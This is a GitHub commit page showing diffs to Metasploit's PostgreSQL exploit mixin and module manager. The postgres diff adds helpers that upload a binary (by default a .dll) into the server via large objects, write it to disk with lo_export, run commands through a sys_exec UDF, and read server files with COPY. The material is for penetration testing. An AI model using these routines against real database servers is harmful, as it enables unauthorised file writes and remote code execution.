Skip to content

Commit 79918d1

Browse files
committed
Merge branch 'rapid7' into wchen-r7-old_keywords
2 parents 014269c + 7e5e504 commit 79918d1

File tree

6 files changed

+793
-40
lines changed

6 files changed

+793
-40
lines changed

lib/msf/core/exploit/postgres.rb

Lines changed: 64 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,3 @@
1-
# -*- coding: binary -*-
21
require 'msf/core'
32

43
module Msf
@@ -12,6 +11,7 @@ module Msf
1211
module Exploit::Remote::Postgres
1312

1413
require 'postgres_msf'
14+
require 'base64'
1515
include Msf::Db::PostgresPR
1616
attr_accessor :postgres_conn
1717

@@ -53,11 +53,11 @@ def postgres_login(args={})
5353
ip = args[:server] || datastore['RHOST']
5454
port = args[:port] || datastore['RPORT']
5555
uri = "tcp://#{ip}:#{port}"
56-
56+
5757
if Rex::Socket.is_ipv6?(ip)
5858
uri = "tcp://[#{ip}]:#{port}"
5959
end
60-
60+
6161
verbose = args[:verbose] || datastore['VERBOSE']
6262
begin
6363
self.postgres_conn = Connection.new(db,username,password,uri)
@@ -98,7 +98,6 @@ def postgres_logout
9898
def postgres_query(sql=nil,doprint=false)
9999
ip = datastore['RHOST']
100100
port = datastore['RPORT']
101-
verbose = datastore['VERBOSE']
102101
postgres_login unless self.postgres_conn
103102
unless self.postgres_conn
104103
return {:conn_error => true}
@@ -155,18 +154,17 @@ def postgres_print_reply(resp=nil,sql=nil)
155154
# postgres_fingerprint attempts to fingerprint a remote Postgresql instance,
156155
# inferring version number from the failed authentication messages.
157156
def postgres_fingerprint(args={})
158-
postgres_logout if self.postgres_conn
157+
return postgres_authed_fingerprint if self.postgres_conn
159158
db = args[:database] || datastore['DATABASE']
160159
username = args[:username] || datastore['USERNAME']
161160
password = args[:password] || datastore['PASSWORD']
162161
rhost = args[:server] || datastore['RHOST']
163162
rport = args[:port] || datastore['RPORT']
164-
163+
165164
uri = "tcp://#{rhost}:#{rport}"
166165
if Rex::Socket.is_ipv6?(rhost)
167166
uri = "tcp://[#{rhost}]:#{rport}"
168167
end
169-
170168

171169
verbose = args[:verbose] || datastore['VERBOSE']
172170
begin
@@ -175,11 +173,13 @@ def postgres_fingerprint(args={})
175173
version_hash = analyze_auth_error e
176174
return version_hash
177175
end
178-
if self.postgres_conn # Just ask for the version.
179-
resp = postgres_query("select version()",false)
180-
ver = resp[:complete].rows[0][0]
181-
return {:auth => ver}
182-
end
176+
return postgres_authed_fingerprint if self.postgres_conn
177+
end
178+
179+
def postgres_authed_fingerprint
180+
resp = postgres_query("select version()",false)
181+
ver = resp[:complete].rows[0][0]
182+
return {:auth => ver}
183183
end
184184

185185
# Matches up filename, line number, and routine with a version.
@@ -264,7 +264,7 @@ def postgres_read_textfile(filename)
264264
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
265265
COPY #{temp_table_name} FROM '#{filename}';
266266
SELECT * FROM #{temp_table_name}}
267-
read_return = postgres_query(read_query)
267+
return postgres_query(read_query,true)
268268
end
269269

270270
def postgres_has_database_privilege(priv)
@@ -291,6 +291,7 @@ def postgres_create_sys_exec(dll)
291291
# This presumes the pg_temp.sys_exec() udf has been installed, almost
292292
# certainly by postgres_create_sys_exec()
293293
def postgres_sys_exec(cmd)
294+
print_status "Attempting to Execute: #{cmd}"
294295
q = "select pg_temp.sys_exec('#{cmd}')"
295296
resp = postgres_query(q)
296297
if resp[:sql_error]
@@ -300,10 +301,16 @@ def postgres_sys_exec(cmd)
300301
return true
301302
end
302303

304+
303305
# Takes a local filename and uploads it into a table as a Base64 encoded string.
304306
# Returns an array if successful, false if not.
305-
def postgres_upload_binary_file(fname)
306-
data = postgres_base64_file(fname)
307+
def postgres_upload_binary_file(fname, remote_fname=nil)
308+
data = File.read(fname)
309+
postgres_upload_binary_data(data, remote_fname)
310+
end
311+
312+
def postgres_upload_binary_data(data, remote_fname=nil)
313+
data = postgres_base64_data(data)
307314
tbl,fld = postgres_create_stager_table
308315
return false unless data && tbl && fld
309316
q = "insert into #{tbl}(#{fld}) values('#{data}')"
@@ -312,20 +319,48 @@ def postgres_upload_binary_file(fname)
312319
print_error resp[:sql_error]
313320
return false
314321
end
315-
oid, fout = postgres_write_data_to_disk(tbl,fld)
322+
oid, fout = postgres_write_data_to_disk(tbl,fld,remote_fname)
316323
return false unless oid && fout
317324
return [tbl,fld,fout,oid]
318325
end
319326

320327
# Writes b64 data from a table field, decoded, to disk.
321-
def postgres_write_data_to_disk(tbl,fld)
328+
#
329+
# This is accomplished with 3 sql queries:
330+
# 1. select lo_create
331+
# 2. version dependant:
332+
# - on 9.x, insert into pg_largeobject
333+
# - on older versions, update pg_largeobject
334+
# 3. select lo_export to write the file to disk
335+
#
336+
def postgres_write_data_to_disk(tbl,fld,remote_fname=nil)
322337
oid = rand(60000) + 1000
323-
fname = Rex::Text::rand_text_alpha(8) + ".dll"
324-
queries = [
325-
"select lo_create(#{oid})",
326-
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
327-
"select lo_export(#{oid}, '#{fname}')"
328-
]
338+
remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
339+
340+
ver = postgres_fingerprint
341+
case ver[:auth]
342+
when /PostgreSQL 9\./
343+
# 9.x does *not* insert the largeobject into the table when you do
344+
# the lo_create, so we must insert it ourselves.
345+
queries = [
346+
"select lo_create(#{oid})",
347+
"insert into pg_largeobject select #{oid}, 0, decode((select #{fld} from #{tbl}), 'base64')",
348+
"select lo_export(#{oid}, '#{remote_fname}')"
349+
]
350+
else
351+
# 8.x inserts the largeobject into the table when you do the
352+
# lo_create, so we with a value.
353+
#
354+
# 7.x is an unknown, but this behavior was the default before the
355+
# addition of support for 9.x above, so try it this way and hope
356+
# for the best
357+
queries = [
358+
"select lo_create(#{oid})",
359+
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
360+
"select lo_export(#{oid}, '#{remote_fname}')"
361+
]
362+
end
363+
329364
queries.each do |q|
330365
resp = postgres_query(q)
331366
if resp && resp[:sql_error]
@@ -334,15 +369,20 @@ def postgres_write_data_to_disk(tbl,fld)
334369
break
335370
end
336371
end
337-
return oid,fname
372+
return oid,remote_fname
338373
end
339374

340375
# Base64's a file and returns the data.
341376
def postgres_base64_file(fname)
342377
data = File.open(fname, "rb") {|f| f.read f.stat.size}
378+
postgres_base64_data(data)
379+
end
380+
381+
def postgres_base64_data(data)
343382
[data].pack("m*").gsub(/\r?\n/,"")
344383
end
345384

385+
346386
# Creates a temporary table to store base64'ed binary data in.
347387
def postgres_create_stager_table
348388
tbl = Rex::Text.rand_text_alpha(8).downcase

lib/msf/core/module_manager.rb

Lines changed: 18 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,8 @@ class ModuleManager
3636
include Msf::ModuleManager::ModuleSets
3737
include Msf::ModuleManager::Reloading
3838

39+
include Enumerable
40+
3941
#
4042
# CONSTANTS
4143
#
@@ -96,10 +98,21 @@ def create(name)
9698
end
9799

98100

99-
# @param framework [Msf::Framework] The framework for which this
100-
# instance is managing the modules.
101-
# @param types [Array<String>] List of module types to load.
102-
# Defaults to all module types in {Msf::MODULE_TYPES}.
101+
# Iterate over all modules in all sets
102+
#
103+
# @yieldparam name [String] The module's reference name
104+
# @yieldparam mod_class [Msf::Module] A module class
105+
def each
106+
module_set_by_type.each do |type, set|
107+
set.each do |name, mod_class|
108+
yield name, mod_class
109+
end
110+
end
111+
end
112+
113+
114+
# @param [Msf::Framework] framework The framework for which this instance is managing the modules.
115+
# @param [Array<String>] types List of module types to load. Defaults to all module types in {Msf::MODULE_TYPES}.
103116
def initialize(framework, types=Msf::MODULE_TYPES)
104117
#
105118
# defaults
@@ -158,5 +171,6 @@ def auto_subscribe_module(mod)
158171
framework.events.add_session_subscriber((inst) ? inst : (inst = mod.new))
159172
end
160173
end
174+
161175
end
162176
end

0 commit comments

Comments
 (0)